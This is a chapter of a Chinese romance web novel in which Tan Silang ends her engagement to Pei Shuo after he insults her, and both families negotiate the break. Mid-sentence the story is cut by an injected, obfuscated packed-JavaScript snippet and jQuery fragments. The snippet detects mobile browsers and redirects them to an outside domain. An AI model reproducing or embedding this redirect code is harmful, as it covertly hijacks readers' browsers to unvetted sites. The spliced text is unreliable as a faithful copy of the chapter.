默认冷灰
24号文字
方正启体

4. 不嫁(728修)

作者:抱帚忘雪本书字数:K更新时间:
    陈清于赶来时,谈思琅正在收拾裴朔送她的那些东西。


    某岁中秋时裴朔绞尽脑汁答对灯谜换来的兔儿灯、及笄礼时的彩蝶穿花银步摇、生辰时的双面绣花纨扇。


    谈思琅记得每一件东西的来历。


    陈清于快步急行,方才在路上,她已听槐序说明了今日的来龙去脉。


    裴家那小子怎能如此糟蹋三娘这份诚挚之心?


    前几日去见阿蕙时,他们还说起儿女的婚仪要如何如何。


    彼时阿蕙温温柔柔地笑着,说待到婚后,将军府的庶务无需谈思琅费心,她只需和裴朔过好自己的日子便成。


    她怎么回话的?她说三娘特意跟着她学管家理账,虽不是长媳,却也能搭把手。


    是啊,她的悠悠性子活泛,除却制香之时,素来坐不住,最是不耐烦打算盘、对账册,但这半年,她也为着婚事沉下心来。


    “悠悠。”


    谈思琅回过身去。


    院中月华如练,银白似雪;屋里点满了灯,只随手绾了发髻的阿娘站在暖乎乎的光里。


    谈思琅终于放声大哭。


    从听到裴朔那些难听的话,到与裴朔对峙,再到乘马车回府,她一直在安安静静地掉眼泪。


    打开箱笼收拾这些旧物的时候,谈思琅甚至以为,自己今日的眼泪已经流尽了。


    原来没有流尽啊。


    她后知后觉地胡乱擦着脸颊。


    陈清于不再顾及什么世家夫人的体面,却见她高高提起裙摆,三步并作两步奔向谈思琅,一把将她拥入怀中。


    她慢慢抚着女儿的发顶,轻声唤着女儿的小名:“悠悠。”


    母女二人跪坐在茵毯之上,暖黄色的灯影将她们包裹。


    谈思琅揪着陈清于的衣襟,抽噎着问道:“阿娘,我明明……是很好的,对不对?”


    谢璟说,今日错在裴朔。


    他还说,切莫认为是自己不好。


    执掌刑狱的大理寺卿都这样说。


    “阿娘,对不对,”她眼中还包着泪,说得急了,便连声咳嗽起来,“我没有他说的那么差。”


    陈清于心如刀绞,赶忙从侍女手中接过一盏温热的茶水,哄着谈思琅喝下。复又柔柔地拍着谈思琅的背脊,宽慰了几句,待谈思琅稍稍平复了些心绪,方才柔声问道:“悠悠是怎么想的。”


    谈思琅手背贴在微微发烫的脸颊上,皱着鼻子,轻声回答:“我不知道。”


    “你还想嫁给他吗?”


    在陈清于看来,裴家小子虽是被人挑拨方才说出这等诛心之言,但亦能照见他心中所想。他已将谈思琅视作负累,将两家长辈视作枷锁。


    且,他在外人面前说出这等浑话,便是全然未曾考虑过悠悠的处境。


    但若悠悠执意要嫁……


    谈思琅咬唇勒住眼泪:“不想。”


    她又朗声重复了一次:“我不想。”


    裴朔都那样说她了,她还嫁过去,那算什么?


    她也是在家中千娇万宠长大的,也、也不是非他不可。


    谈思琅环着母亲的手臂:“可……这是我能说了算的吗?”


    “只要你心中当真是这样想的,阿娘会去和你蕙姨、还有将军府上说清楚。


    将军府与尚书府的关系,他们这些长辈会处理好;至于若是有什么风言风语,她也会替女儿解决。


    “阿娘,我想不明白,”谈思琅将脸埋在阿娘怀中,声音有些闷,“今日午后,他还在马场上,越过一众人看向我。可一转身,他却说我无趣,还说他根本不想要娶我。还是当着旁人的面说,全然没想过我的处境。”


    “书上说人心易变,可人心能这样快就改变吗?”


    陈清于像是幼时哄她入睡那般轻轻拍着谈思琅的背脊:“也许不是这样快的。”


    只怪她也没有注意到。


    兴许那小子,一早便已将与悠悠的婚事视作一方压在肩上的巨石。


    “我觉得,我还是喜欢他的。”谈思琅轻声道。


    方才她看着那些裴朔送来的东西,便又想起裴朔的好来。


    陈清于心中一沉,罢,那她明日便好生与阿蕙谈些条件。


    却听得谈思琅道:“但是,我真的不想嫁给他了。”


    从他说出浑话,还想让她瞒下这一切那一刻起,她便不愿意嫁给他了。


    -


    翌日。


    谈思琅醒得很早,似是觉得自己仍要为了那桩即将定下的婚事,去阿娘院中学管家、学理账、学京中高门的人情世故。


    然而,稍一偏头,便见阿娘就睡在她身边,她不用穿过长长的抄手游廊,就能见到阿娘。


    她翻了个身,用乱糟糟的发顶蹭了蹭阿娘。


    阿娘也醒了,还揉了一把她的脸颊。


    她原以为阿娘会问她些什么,关于昨日、关于之后;但阿娘什么都没有说,只是让小厨房送来了她最喜欢的吃食,而后又陪着她在洒满晨光的黄花梨木案几前调配香料。


    过了许久,终于听得下人通传,散朝了,裴将军和将军夫人押着裴二公子在门外候着。


    陈清于终于问道:“想好了吗?”


    谈思琅指尖微顿,复又重重颔首。


    澄澈明净的光线里,陈清于取来一支云纹如意簪,稳稳簪入女儿发间,声音温柔而笃定:“想好了便好。”


    谈尚书散朝后与谢璟多说了几句,此时将将赶回尚书府。


    蔡蕙先开了口,仍是那副温温柔柔的模样,先是承认裴朔自是有错,待一阵回了将军府,自会家法处置;复又说起两家的交情,以及那些盘根错节的关系。


    谈尚书面无表情,并不接话;陈清于亦是安安静静品着茶。


    前厅中静了下来,裴将军一把将站在自己身后的裴朔推到身前。


    裴朔有些僵硬地对着谈尚书拱手作揖道:“世伯,伯母,朔……知错了。昨日之言,绝非本意。昨夜我已与那些挑拨离间之人断了联系,往后,定不再犯。”


    而后,又侧身看向谈思琅:“三娘,我昨日是被人激得失了魂,那些话俱都当不得真的。我们自幼一起长大,情分非比寻常,你是知道我的心意的,难道就因为我一时糊涂说错话就如此计……”


    话至嘴边,他惊觉自己又一次失言。


    谈思琅有些怅然若失。


    他硬生生吞回去的那几个字,是“如此计较”罢。


    他是真的不觉得自己说的那些话有什么吗?


    谈思琅坐在母亲身旁,捧着一盏温热的阳羡茶,小口啜饮。


    裴朔是什么时候变成这样的?


    儿时二人一起玩耍,失手摔碎了一樽颇为难得的白瓷花瓶,长辈责骂之时,他将她护在身后,说那都是他的过错。


    而如今的他,无论遇上什么事情,都下意识推给旁人。


    谈思琅放下茶盏,正欲开口,却见母亲轻轻按了按她的手指。


    谈思琅歪着头看向母亲。


    陈清于摇摇头,回以一个安抚的眼神。有些事情,需要他们这些长辈来做。


    她款款站起身来,行至裴家三人身前:“阿蕙,我们认识已经有……三十来年了?”


    蔡蕙颔首。


    陈清于语气平和、却很是坚定:“三娘是你看着长大的,她虽性子活泛,但素来知礼,绝非裴二公子口中的‘吵吵嚷嚷、无趣至极’之人。阿蕙,孩子们相处了这么些年,却还连对方的品性都看不清楚,若是真的成婚,难免会变成一对怨偶。”


    “这有悖当初你我想着结亲的本意。”


    “我是想长长久久与你、与将军府交好的,但强扭的瓜不甜,若是往后儿女成了一桩孽缘,只怕……”


    结亲便成了结仇。


    蔡蕙长长叹了口气。


    陈清于的担忧,她如何不懂。她也有女儿,若是裴三娘被未婚夫婿如此凭空指责,她亦不会轻饶了那小子。


    “正好,如今连庚帖都还未换过,二人连未婚夫妻都算不得,我看,婚事便这么算了罢,”陈清于不紧不慢道,“也算是三娘看在多年情谊,成全裴二公子的‘不想娶’。”


    她头一回庆幸这桩婚事拖了这样久。


    裴朔嘴唇翕动,却是一个字也说不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314696|182933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出来。什么叫,成全裴二公子的“不想娶”……


    裴将军看看儿子,又看看一言不发的谈尚书。


    谈尚书对上裴将军的目光,只觉自己头疼得厉害。散朝之时,他去寻谢璟以示感谢,却是听来了一桩与裴朔有关的事情。


    数时辰前,宫城之外。


    谢璟正与同僚低语,见谈尚书走来,当即止了话头,拱手还礼。


    谈尚书道:“昨日之事,多亏谢大人出手相助,才将那等荒唐之言扼于萌芽,不至外传。”


    “举手之劳,”谢璟语气平静,带着一贯的疏离淡漠,“说来也巧,上元那日,酉正时分,某在如意楼中查办一桩案子,竟是遇见了谈三小姐。”


    谈尚书笑道:“是,那日她与裴……裴家那小子去如意楼赏灯,还是特意订下的包房。”


    谢璟目光不经意地扫过谈尚书的官帽,仿佛随口一提:“原是如此。不知为何,那日我却是只见着谈三小姐一人。”


    言罢,谢璟不再多言,微微颔首道:“某尚有公务在身,先失陪了。”


    酉正?仅有三娘一人?


    谈尚书望着谢璟远去的身影,半眯着眼。


    他分明记得,自家女儿与裴朔约定的时辰是在酉时。


    谢璟不会为了这些小事骗他。


    回府路上,谈尚书越想越深。同为男子,他太了解那些隐秘心思;上元当日失约在前,武试之时失言在后,裴朔当真只是年纪尚轻吗?只怕是到了年岁,开始有旁的念头了。他甚至在想,这事情会不会是裴朔故意为之?


    他会不会是一早便不想娶三娘了?


    他会不会是在故意刺激三娘提出退婚之事?


    谈尚书审视地看向身姿挺拔的裴朔,心中盘算着这桩婚事的得失,而后眼珠一转,笑道:“二公子如今仍在孝期,其实也不宜谈婚论嫁。”


    陈清于冷笑一声,谈世远这人,果真是只老狐狸。


    他这是想着不把话说死,能给悠悠寻桩好亲事便最好,若是寻不到,那不是还有裴家吗?裴家理亏在先,又未出孝,总不会赶在他们前面与旁的女郎相看。


    这是把她的悠悠当成什么了?


    待价而沽的筹码?


    陈清于一锤定音:“三娘与裴二公子多年情谊,情同兄妹。”


    裴朔心中乱得厉害,迷迷蒙蒙地听着母亲又与陈姨说了些漂亮话。


    昨日被母亲训责之时,他还有几分烦躁,如今却猛然回过神来:“我与三娘……”


    不过是上元之时一个小小的谎言,不过是昨日一句当不得真的戏言,怎至于此?分明都是那些挑拨之人的错处。


    蔡蕙见着他这副模样,气不打一出来:“昨日是如何嘱咐你的?要诚心认错!瞧瞧你都说了些什么?”


    裴朔向来好强要面子,如今反被谈家拒绝,只怕是要生出些执拗心思……


    “回府后自己跪着去!”


    裴将军见着蔡蕙这副模样,大笑着宽慰道:“大丈夫何患无妻?”


    在他看来,两家门第相当、又有多年交情,谈家小女儿的确不错,但裴朔未必不能寻到更好的。况且,谈家小女儿满心都是裴朔,今日如此坚决,也不过是她怒极之下冲动行事,说不定只需过上两日,便会回心转意。


    等到那时,谈家夫人自然也会以女儿的意愿为准;至于那还想着两头下注的谈尚书,不提也罢。


    “夫人莫要杞人忧天了。”裴将军爽朗笑道。


    蔡蕙答:“与你们说不明白。”


    知子莫若母,裴朔对谈三娘的心思,她这个做母亲的,甚至比裴朔本人更为清楚!只盼事情真的还有转圜的余地……


    谈思琅与裴朔婚事告吹之事传来开后,京中免不了有些风言风语。


    这种事情,女郎总是吃亏的。


    陈清于担忧谈思琅,本欲带她去京郊的庄子上小住上半月,避避风头;哪知谈思琅却蹭着她的手臂,说对于此事她坦坦荡荡,何需“逃”去京郊?


    恰好此时,大理寺那边接连查办了几桩颇为离奇的大案,京中好事之人,自是不再关注裴谈两家的事情。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)